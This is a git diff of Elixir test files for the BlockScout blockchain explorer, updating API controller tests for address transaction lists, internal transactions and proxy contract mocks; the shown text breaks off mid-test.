conn = get(conn, address_write_proxy_path(BlockScoutWeb.Endpoint, :index, "invalid_address")) @@ -51,7 +43,8 @@ defmodule BlockScoutWeb.AddressWriteProxyControllerTest do insert(:smart_contract, address_hash: contract_address.hash, contract_code_md5: "123") - get_eip1967_implementation() + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() conn = get(conn, address_write_proxy_path(BlockScoutWeb.Endpoint, :index, Address.checksum(contract_address.hash))) @@ -81,50 +74,4 @@ defmodule BlockScoutWeb.AddressWriteProxyControllerTest do assert html_response(conn, 404) end end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect( - :json_rpc, - fn [%{id: id, method: "eth_getCode", params: [_, _]}], _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x0"}]} - end - ) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/address_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/address_controller_test.exs index 7b3878494260..d0a85492ad02 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/address_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/address_controller_test.exs @@ -5,9 +5,10 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do alias BlockScoutWeb.API.RPC.AddressController alias Explorer.Chain - alias Explorer.Chain.{Events.Subscriber, Transaction, Wei} - alias Explorer.Counters.{AddressesCounter, AverageBlockTime} - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.{Events.Subscriber, Transaction, Wei, Repo} + alias Explorer.Chain.Cache.Counters.{AddressesCount, AverageBlockTime} + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Explorer.Repo setup :set_mox_global @@ -21,13 +22,19 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) start_supervised!(AverageBlockTime) - start_supervised!({CoinBalanceOnDemand, [mocked_json_rpc_named_arguments, [name: CoinBalanceOnDemand]]}) - start_supervised!(AddressesCounter) - Application.put_env(:explorer, AverageBlockTime, enabled: true) + configuration = Application.get_env(:indexer, CoinBalanceOnDemand.Supervisor) + Application.put_env(:indexer, CoinBalanceOnDemand.Supervisor, disabled?: false) + + CoinBalanceOnDemand.Supervisor.Case.start_supervised!(json_rpc_named_arguments: mocked_json_rpc_named_arguments) + + start_supervised!(AddressesCount) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) on_exit(fn -> - Application.put_env(:explorer, AverageBlockTime, enabled: false) + Application.put_env(:indexer, CoinBalanceOnDemand.Supervisor, configuration) + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) end) :ok @@ -102,8 +109,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do first_address_hash = to_string(first_address.hash) second_address_hash = to_string(second_address.hash) - first_address_inserted_at = to_string(first_address.inserted_at) - second_address_inserted_at = to_string(second_address.inserted_at) + _first_address_inserted_at = to_string(first_address.inserted_at) + _second_address_inserted_at = to_string(second_address.inserted_at) response = conn @@ -131,24 +138,24 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do mining_address = insert(:address, fetched_coin_balance: 0, - fetched_coin_balance_block_number: 102, + fetched_coin_balance_block_number: 103, inserted_at: Timex.shift(now, minutes: -10) ) mining_address_hash = to_string(mining_address.hash) # we space these very far apart so that we know it will consider the 0th block stale (it calculates how far # back we'd need to go to get 24 hours in the past) - Enum.each(0..100, fn i -> - insert(:block, number: i, timestamp: Timex.shift(now, hours: -(102 - i) * 25), miner: mining_address) + Enum.each(0..101, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, hours: -(103 - i) * 25), miner: mining_address) end) - insert(:block, number: 101, timestamp: Timex.shift(now, hours: -25), miner: mining_address) + insert(:block, number: 102, timestamp: Timex.shift(now, hours: -25), miner: mining_address) AverageBlockTime.refresh() address = insert(:address, fetched_coin_balance: 100, - fetched_coin_balance_block_number: 100, + fetched_coin_balance_block_number: 101, inserted_at: Timex.shift(now, minutes: -5) ) @@ -158,20 +165,20 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do %{ id: id, method: "eth_getBalance", - params: [^mining_address_hash, "0x65"] + params: [^address_hash, "0x66"] } ], _options -> {:ok, [%{id: id, jsonrpc: "2.0", result: "0x02"}]} end) - res = eth_block_number_fake_response("0x65") + res = eth_block_number_fake_response("0x66") expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn [ %{ id: 0, method: "eth_getBlockByNumber", - params: ["0x65", true] + params: ["0x66", true] } ], _ -> @@ -182,7 +189,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do %{ id: id, method: "eth_getBalance", - params: [^address_hash, "0x65"] + params: [^mining_address_hash, "0x66"] } ], _options -> @@ -193,7 +200,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do %{ id: 0, method: "eth_getBlockByNumber", - params: ["0x65", true] + params: ["0x66", true] } ], _ -> @@ -205,6 +212,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do |> get("/api", params) |> json_response(200) + Process.sleep(100) + schema = listaccounts_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) assert response["message"] == "OK" @@ -229,7 +238,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert received_address.hash == address.hash assert received_address.fetched_coin_balance == expected_wei - assert received_address.fetched_coin_balance_block_number == 101 + assert received_address.fetched_coin_balance_block_number == 102 end end @@ -661,7 +670,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "contractAddress" => "#{transaction.created_contract_address_hash}", "cumulativeGasUsed" => "#{transaction.cumulative_gas_used}", "gasUsed" => "#{transaction.gas_used}", - "confirmations" => "0" + "confirmations" => "0", + "methodId" => "0x" } ] @@ -1234,7 +1244,35 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(txlist_schema(), response) end - test "with starttimestamp and endtimestamp params", %{conn: conn} do + test "ignores too big endblock", %{conn: conn} do + blocks = [_, _, _, _] = insert_list(4, :block) + address = insert(:address) + + for block <- blocks do + 2 + |> insert_list(:transaction, from_address: address) + |> with_block(block) + end + + params = %{ + "module" => "account", + "action" => "txlist", + "address" => "#{address.hash}", + "endblock" => "99999999999" + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert length(response["result"]) == 8 + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlist_schema(), response) + end + + test "with start_timestamp and end_timestamp params", %{conn: conn} do now = Timex.now() timestamp1 = Timex.shift(now, hours: -6) timestamp2 = Timex.shift(now, hours: -3) @@ -1246,7 +1284,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do for block <- Enum.concat([blocks1, blocks2, blocks3]) do 2 - |> insert_list(:transaction, from_address: address) + |> insert_list(:transaction, from_address: address, block_timestamp: block.timestamp) |> with_block(block) end @@ -1257,8 +1295,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "module" => "account", "action" => "txlist", "address" => "#{address.hash}", - "starttimestamp" => "#{start_timestamp}", - "endtimestamp" => "#{end_timestamp}" + "start_timestamp" => "#{start_timestamp}", + "end_timestamp" => "#{end_timestamp}" } expected_block_numbers = [ @@ -1282,7 +1320,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(txlist_schema(), response) end - test "with starttimestamp but without endtimestamp", %{conn: conn} do + test "with start_timestamp but without end_timestamp", %{conn: conn} do now = Timex.now() timestamp1 = Timex.shift(now, hours: -6) timestamp2 = Timex.shift(now, hours: -3) @@ -1294,7 +1332,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do for block <- Enum.concat([blocks1, blocks2, blocks3]) do 2 - |> insert_list(:transaction, from_address: address) + |> insert_list(:transaction, from_address: address, block_timestamp: block.timestamp) |> with_block(block) end @@ -1304,7 +1342,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "module" => "account", "action" => "txlist", "address" => "#{address.hash}", - "starttimestamp" => "#{start_timestamp}" + "start_timestamp" => "#{start_timestamp}" } expected_block_numbers = [ @@ -1330,7 +1368,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(txlist_schema(), response) end - test "with endtimestamp but without starttimestamp", %{conn: conn} do + test "with end_timestamp but without start_timestamp", %{conn: conn} do now = Timex.now() timestamp1 = Timex.shift(now, hours: -6) timestamp2 = Timex.shift(now, hours: -3) @@ -1342,7 +1380,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do for block <- Enum.concat([blocks1, blocks2, blocks3]) do 2 - |> insert_list(:transaction, from_address: address) + |> insert_list(:transaction, from_address: address, block_timestamp: block.timestamp) |> with_block(block) end @@ -1352,7 +1390,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "module" => "account", "action" => "txlist", "address" => "#{address.hash}", - "endtimestamp" => "#{end_timestamp}" + "end_timestamp" => "#{end_timestamp}" } expected_block_numbers = [ @@ -1376,7 +1414,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(txlist_schema(), response) end - test "with filterby=to option", %{conn: conn} do + test "with filter_by=to option", %{conn: conn} do block = insert(:block) address = insert(:address) @@ -1390,7 +1428,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "module" => "account", "action" => "txlist", "address" => "#{address.hash}", - "filterby" => "to" + "filter_by" => "to" } assert response = @@ -1404,7 +1442,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(txlist_schema(), response) end - test "with filterby=from option", %{conn: conn} do + test "with filter_by=from option", %{conn: conn} do block = insert(:block) address = insert(:address) @@ -1421,7 +1459,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "module" => "account", "action" => "txlist", "address" => "#{address.hash}", - "filterby" => "from" + "filter_by" => "from" } assert response = @@ -1788,92 +1826,64 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do end end - describe "txlistinternal" do - test "with missing txhash and address", %{conn: conn} do + describe "txlistinternal with no address or transaction hash" do + setup do params = %{ "module" => "account", "action" => "txlistinternal" } + {:ok, %{params: params}} + end + + test "returns empty result, if no internal transactions", %{conn: conn, params: params} do response = conn |> get("/api", params) |> json_response(200) - assert response["message"] =~ "txhash or address is required" - assert response["status"] == "0" - assert Map.has_key?(response, "result") - refute response["result"] - assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) - end - end - - describe "txlistinternal with txhash" do - test "with an invalid txhash", %{conn: conn} do - params = %{ - "module" => "account", - "action" => "txlistinternal", - "txhash" => "badhash" - } - - assert response = - conn - |> get("/api", params) - |> json_response(200) - - assert response["message"] =~ "Invalid txhash format" + assert response["message"] =~ "No internal transactions found" assert response["status"] == "0" assert Map.has_key?(response, "result") - refute response["result"] - assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) - end - - test "with a txhash that doesn't exist", %{conn: conn} do - params = %{ - "module" => "account", - "action" => "txlistinternal", - "txhash" => "0x40eb908387324f2b575b4879cd9d7188f69c8fc9d87c901b9e2daaea4b442170" - } - - assert response = - conn - |> get("/api", params) - |> json_response(200) - assert response["result"] == [] - assert response["status"] == "0" - assert response["message"] == "No internal transactions found" assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) end - test "response includes all the expected fields", %{conn: conn} do + test "returns internal transaction", %{conn: conn, params: params} do address = insert(:address) - contract_address = insert(:contract_address) + address_2 = insert(:address) block = insert(:block) transaction = :transaction - |> insert(from_address: address, to_address: nil) - |> with_contract_creation(contract_address) + |> insert(from_address: address, to_address: address_2) |> with_block(block) + :internal_transaction + |> insert( + transaction: transaction, + index: 0, + value: 1, + from_address: address, + to_address: address_2, + block_hash: transaction.block_hash, + block_index: 0, + block_number: block.number + ) + internal_transaction = - :internal_transaction_create + :internal_transaction |> insert( transaction: transaction, - index: 0, + index: 1, + value: 2, from_address: address, + to_address: address_2, block_hash: transaction.block_hash, - block_index: 0 + block_index: 1, + block_number: block.number ) - |> with_contract_creation(contract_address) - - params = %{ - "module" => "account", - "action" => "txlistinternal", - "txhash" => "#{transaction.hash}" - } expected_result = [ %{ @@ -1882,8 +1892,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "from" => "#{internal_transaction.from_address_hash}", "to" => "#{internal_transaction.to_address_hash}", "value" => "#{internal_transaction.value.value}", - "contractAddress" => "#{contract_address.hash}", - "input" => "", + "contractAddress" => "", + "input" => "#{internal_transaction.input}", "type" => "#{internal_transaction.type}", "callType" => "#{internal_transaction.call_type}", "gas" => "#{internal_transaction.gas}", @@ -1897,7 +1907,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert response = conn - |> get("/api", params) + |> get("/api/v1", params) |> json_response(200) assert response["result"] == expected_result @@ -1906,81 +1916,192 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) end - test "isError is true if internal transaction has an error", %{conn: conn} do + test "returns only non zero value internal transactions by default", %{conn: conn, params: params} do + address = insert(:address) + address_2 = insert(:address) + + block = insert(:block) + transaction = :transaction - |> insert() - |> with_block() + |> insert(from_address: address, to_address: address_2) + |> with_block(block) - internal_transaction_details = [ + :internal_transaction + |> insert( transaction: transaction, index: 0, - type: :reward, - error: "some error", + value: 1, + from_address: address, + to_address: address_2, block_hash: transaction.block_hash, - block_index: 0 - ] + block_index: 0, + block_number: block.number + ) - insert(:internal_transaction_create, internal_transaction_details) + :internal_transaction + |> insert( + transaction: transaction, + index: 2, + value: 0, + from_address: address, + to_address: address_2, + block_hash: transaction.block_hash, + block_index: 2, + block_number: block.number + ) - params = %{ - "module" => "account", - "action" => "txlistinternal", - "txhash" => "#{transaction.hash}" - } + internal_transaction = + :internal_transaction + |> insert( + transaction: transaction, + index: 1, + value: 2, + from_address: address, + to_address: address_2, + block_hash: transaction.block_hash, + block_index: 1, + block_number: block.number + ) - assert %{"result" => [found_internal_transaction]} = - response = + expected_result = [ + %{ + "blockNumber" => "#{transaction.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction.from_address_hash}", + "to" => "#{internal_transaction.to_address_hash}", + "value" => "#{internal_transaction.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction.input}", + "type" => "#{internal_transaction.type}", + "callType" => "#{internal_transaction.call_type}", + "gas" => "#{internal_transaction.gas}", + "gasUsed" => "#{internal_transaction.gas_used}", + "index" => "#{internal_transaction.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction.error}" + } + ] + + assert response = conn - |> get("/api", params) + |> get("/api/v1", params) |> json_response(200) - assert found_internal_transaction["isError"] == "1" + assert response["result"] == expected_result assert response["status"] == "1" assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) end - test "with transaction with multiple internal transactions", %{conn: conn} do + test "with zero value internal transactions when `include_zero_value=true` param is provided", %{ + conn: conn, + params: params + } do + address = insert(:address) + address_2 = insert(:address) + + block = insert(:block) + transaction = :transaction - |> insert() - |> with_block() + |> insert(from_address: address, to_address: address_2) + |> with_block(block) - for index <- 0..2 do - insert(:internal_transaction_create, + :internal_transaction + |> insert( + transaction: transaction, + index: 0, + value: 1, + from_address: address, + to_address: address_2, + block_hash: transaction.block_hash, + block_index: 0, + block_number: block.number + ) + + internal_transaction_a = + :internal_transaction + |> insert( transaction: transaction, - index: index, + index: 1, + value: 2, + from_address: address, + to_address: address_2, block_hash: transaction.block_hash, - block_index: index + block_index: 1, + block_number: block.number ) - end - params = %{ - "module" => "account", - "action" => "txlistinternal", - "txhash" => "#{transaction.hash}" - } + internal_transaction_b = + :internal_transaction + |> insert( + transaction: transaction, + index: 2, + value: 0, + from_address: address, + to_address: address_2, + block_hash: transaction.block_hash, + block_index: 2, + block_number: block.number + ) - assert %{"result" => found_internal_transactions} = - response = + expected_result = [ + %{ + "blockNumber" => "#{transaction.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction_b.from_address_hash}", + "to" => "#{internal_transaction_b.to_address_hash}", + "value" => "#{internal_transaction_b.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction_b.input}", + "type" => "#{internal_transaction_b.type}", + "callType" => "#{internal_transaction_b.call_type}", + "gas" => "#{internal_transaction_b.gas}", + "gasUsed" => "#{internal_transaction_b.gas_used}", + "index" => "#{internal_transaction_b.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction_b.error}" + }, + %{ + "blockNumber" => "#{internal_transaction_a.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction_a.from_address_hash}", + "to" => "#{internal_transaction_a.to_address_hash}", + "value" => "#{internal_transaction_a.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction_a.input}", + "type" => "#{internal_transaction_a.type}", + "callType" => "#{internal_transaction_a.call_type}", + "gas" => "#{internal_transaction_a.gas}", + "gasUsed" => "#{internal_transaction_a.gas_used}", + "index" => "#{internal_transaction_a.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction_a.error}" + } + ] + + assert response = conn - |> get("/api", params) + |> get("/api/v1", Map.merge(params, %{"include_zero_value" => "true"})) |> json_response(200) - assert length(found_internal_transactions) == 3 + assert response["result"] == expected_result assert response["status"] == "1" assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) end end - describe "txlistinternal with address" do - test "with an invalid address", %{conn: conn} do + describe "txlistinternal with txhash" do + test "with an invalid txhash", %{conn: conn} do params = %{ "module" => "account", "action" => "txlistinternal", - "address" => "badhash" + "txhash" => "badhash" } assert response = @@ -1988,18 +2109,18 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do |> get("/api", params) |> json_response(200) - assert response["message"] =~ "Invalid address format" + assert response["message"] =~ "Invalid txhash format" assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) end - test "with a address that doesn't exist", %{conn: conn} do + test "with a txhash that doesn't exist", %{conn: conn} do params = %{ "module" => "account", "action" => "txlistinternal", - "address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" + "txhash" => "0x40eb908387324f2b575b4879cd9d7188f69c8fc9d87c901b9e2daaea4b442170" } assert response = @@ -2030,8 +2151,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do |> insert( transaction: transaction, index: 0, + value: 1, from_address: address, - block_number: block.number, block_hash: transaction.block_hash, block_index: 0 ) @@ -2040,7 +2161,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do params = %{ "module" => "account", "action" => "txlistinternal", - "address" => "#{address.hash}" + "txhash" => "#{transaction.hash}" } expected_result = [ @@ -2056,17 +2177,17 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "callType" => "#{internal_transaction.call_type}", "gas" => "#{internal_transaction.gas}", "gasUsed" => "#{internal_transaction.gas_used}", - "isError" => "0", "index" => "#{internal_transaction.index}", "transactionHash" => "#{transaction.hash}", + "isError" => "0", "errCode" => "#{internal_transaction.error}" } ] - response = - conn - |> get("/api", params) - |> json_response(200) + assert response = + conn + |> get("/api", params) + |> json_response(200) assert response["result"] == expected_result assert response["status"] == "1" @@ -2075,20 +2196,17 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do end test "isError is true if internal transaction has an error", %{conn: conn} do - address = insert(:address) - transaction = :transaction |> insert() |> with_block() internal_transaction_details = [ - from_address: address, transaction: transaction, index: 0, + value: 1, type: :reward, error: "some error", - block_number: transaction.block_number, block_hash: transaction.block_hash, block_index: 0 ] @@ -2098,7 +2216,7 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do params = %{ "module" => "account", "action" => "txlistinternal", - "address" => "#{address.hash}" + "txhash" => "#{transaction.hash}" } assert %{"result" => [found_internal_transaction]} = @@ -2114,30 +2232,25 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do end test "with transaction with multiple internal transactions", %{conn: conn} do - address = insert(:address) - transaction = :transaction |> insert() |> with_block() for index <- 0..2 do - internal_transaction_details = %{ - from_address: address, + insert(:internal_transaction_create, transaction: transaction, index: index, - block_number: transaction.block_number, block_hash: transaction.block_hash, - block_index: index - } - - insert(:internal_transaction_create, internal_transaction_details) + block_index: index, + value: 1 + ) end params = %{ "module" => "account", "action" => "txlistinternal", - "address" => "#{address.hash}" + "txhash" => "#{transaction.hash}" } assert %{"result" => found_internal_transactions} = @@ -2151,33 +2264,1652 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) end - end - describe "tokentx" do - test "with missing address hash", %{conn: conn} do - params = %{ - "module" => "account", - "action" => "tokentx" - } + test "returns only non zero value internal transactions by default", %{conn: conn} do + block = insert(:block) - assert response = - conn - |> get("/api", params) + transaction = + :transaction + |> insert() + |> with_block(block) + + :internal_transaction + |> insert( + transaction: transaction, + index: 0, + value: 1, + block_hash: transaction.block_hash, + block_index: 0, + block_number: block.number + ) + + :internal_transaction + |> insert( + transaction: transaction, + index: 2, + value: 0, + block_hash: transaction.block_hash, + block_index: 2, + block_number: block.number + ) + + internal_transaction = + :internal_transaction + |> insert( + transaction: transaction, + index: 1, + value: 2, + block_hash: transaction.block_hash, + block_index: 1, + block_number: block.number + ) + + expected_result = [ + %{ + "blockNumber" => "#{transaction.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction.from_address_hash}", + "to" => "#{internal_transaction.to_address_hash}", + "value" => "#{internal_transaction.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction.input}", + "type" => "#{internal_transaction.type}", + "callType" => "#{internal_transaction.call_type}", + "gas" => "#{internal_transaction.gas}", + "gasUsed" => "#{internal_transaction.gas_used}", + "index" => "#{internal_transaction.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction.error}" + } + ] + + params = %{ + "module" => "account", + "action" => "txlistinternal", + "txhash" => "#{transaction.hash}" + } + + assert response = + conn + |> get("/api/v1", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + + test "with zero value internal transactions when `include_zero_value=true` param is provided", %{conn: conn} do + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + :internal_transaction + |> insert( + transaction: transaction, + index: 0, + value: 1, + block_hash: transaction.block_hash, + block_index: 0, + block_number: block.number + ) + + internal_transaction_a = + :internal_transaction + |> insert( + transaction: transaction, + index: 1, + value: 2, + block_hash: transaction.block_hash, + block_index: 1, + block_number: block.number + ) + + internal_transaction_b = + :internal_transaction + |> insert( + transaction: transaction, + index: 2, + value: 0, + block_hash: transaction.block_hash, + block_index: 2, + block_number: block.number + ) + + expected_result = [ + %{ + "blockNumber" => "#{transaction.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction_a.from_address_hash}", + "to" => "#{internal_transaction_a.to_address_hash}", + "value" => "#{internal_transaction_a.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction_a.input}", + "type" => "#{internal_transaction_a.type}", + "callType" => "#{internal_transaction_a.call_type}", + "gas" => "#{internal_transaction_a.gas}", + "gasUsed" => "#{internal_transaction_a.gas_used}", + "index" => "#{internal_transaction_a.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction_a.error}" + }, + %{ + "blockNumber" => "#{internal_transaction_b.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction_b.from_address_hash}", + "to" => "#{internal_transaction_b.to_address_hash}", + "value" => "#{internal_transaction_b.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction_b.input}", + "type" => "#{internal_transaction_b.type}", + "callType" => "#{internal_transaction_b.call_type}", + "gas" => "#{internal_transaction_b.gas}", + "gasUsed" => "#{internal_transaction_b.gas_used}", + "index" => "#{internal_transaction_b.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction_b.error}" + } + ] + + params = %{ + "module" => "account", + "action" => "txlistinternal", + "txhash" => "#{transaction.hash}", + "include_zero_value" => "true" + } + + assert response = + conn + |> get("/api/v1", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + end + + describe "txlistinternal with address" do + test "with an invalid address", %{conn: conn} do + params = %{ + "module" => "account", + "action" => "txlistinternal", + "address" => "badhash" + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + + test "with a address that doesn't exist", %{conn: conn} do + params = %{ + "module" => "account", + "action" => "txlistinternal", + "address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == [] + assert response["status"] == "0" + assert response["message"] == "No internal transactions found" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + + test "response includes all the expected fields", %{conn: conn} do + address = insert(:address) + contract_address = insert(:contract_address) + + block = insert(:block) + + transaction = + :transaction + |> insert(from_address: address, to_address: nil) + |> with_contract_creation(contract_address) + |> with_block(block) + + internal_transaction = + :internal_transaction_create + |> insert( + transaction: transaction, + index: 0, + from_address: address, + block_number: block.number, + block_hash: transaction.block_hash, + block_index: 0 + ) + |> with_contract_creation(contract_address) + + params = %{ + "module" => "account", + "action" => "txlistinternal", + "address" => "#{address.hash}" + } + + expected_result = [ + %{ + "blockNumber" => "#{transaction.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction.from_address_hash}", + "to" => "#{internal_transaction.to_address_hash}", + "value" => "#{internal_transaction.value.value}", + "contractAddress" => "#{contract_address.hash}", + "input" => "", + "type" => "#{internal_transaction.type}", + "callType" => "#{internal_transaction.call_type}", + "gas" => "#{internal_transaction.gas}", + "gasUsed" => "#{internal_transaction.gas_used}", + "isError" => "0", + "index" => "#{internal_transaction.index}", + "transactionHash" => "#{transaction.hash}", + "errCode" => "#{internal_transaction.error}" + } + ] + + response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + + test "isError is true if internal transaction has an error", %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + internal_transaction_details = [ + from_address: address, + transaction: transaction, + index: 0, + type: :reward, + error: "some error", + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0 + ] + + insert(:internal_transaction_create, internal_transaction_details) + + params = %{ + "module" => "account", + "action" => "txlistinternal", + "address" => "#{address.hash}" + } + + assert %{"result" => [found_internal_transaction]} = + response = + conn + |> get("/api", params) + |> json_response(200) + + assert found_internal_transaction["isError"] == "1" + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + + test "with transaction with multiple internal transactions", %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + for index <- 0..2 do + internal_transaction_details = %{ + from_address: address, + transaction: transaction, + index: index, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + value: 1 + } + + insert(:internal_transaction_create, internal_transaction_details) + end + + params = %{ + "module" => "account", + "action" => "txlistinternal", + "address" => "#{address.hash}" + } + + assert %{"result" => found_internal_transactions} = + response = + conn + |> get("/api", params) + |> json_response(200) + + assert length(found_internal_transactions) == 3 + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + + test "returns only non zero value internal transactions by default", %{conn: conn} do + address = insert(:address) + + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + :internal_transaction + |> insert( + transaction: transaction, + index: 0, + value: 1, + from_address: address, + block_hash: transaction.block_hash, + block_index: 0, + block_number: block.number + ) + + :internal_transaction + |> 